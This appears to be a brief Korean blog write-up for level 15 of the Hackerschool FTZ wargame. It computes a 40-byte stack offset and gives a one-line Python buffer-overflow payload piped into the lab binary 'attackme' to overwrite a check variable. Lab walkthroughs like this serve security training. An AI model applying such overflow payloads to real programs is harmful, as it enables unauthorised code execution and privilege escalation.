반응형
check값을 0xdeadbeef로 덮어주면 될것같다
buf = ebp-56
check = ebp-16
buf check 거리 = 40
(python -c 'print "A"*40 + "\xb2\x84\x04\x08"';cat)|./attackme
반응형
'Write-Up > 해커스쿨 FTZ' 카테고리의 다른 글
| FTZ level17 (0) | 2021.03.16 |
|---|---|
| FTZ level16 (0) | 2021.03.16 |
| FTZ level14 (0) | 2021.03.13 |
| FTZ level13 (0) | 2021.03.13 |
| FTZ level12 (0) | 2021.03.13 |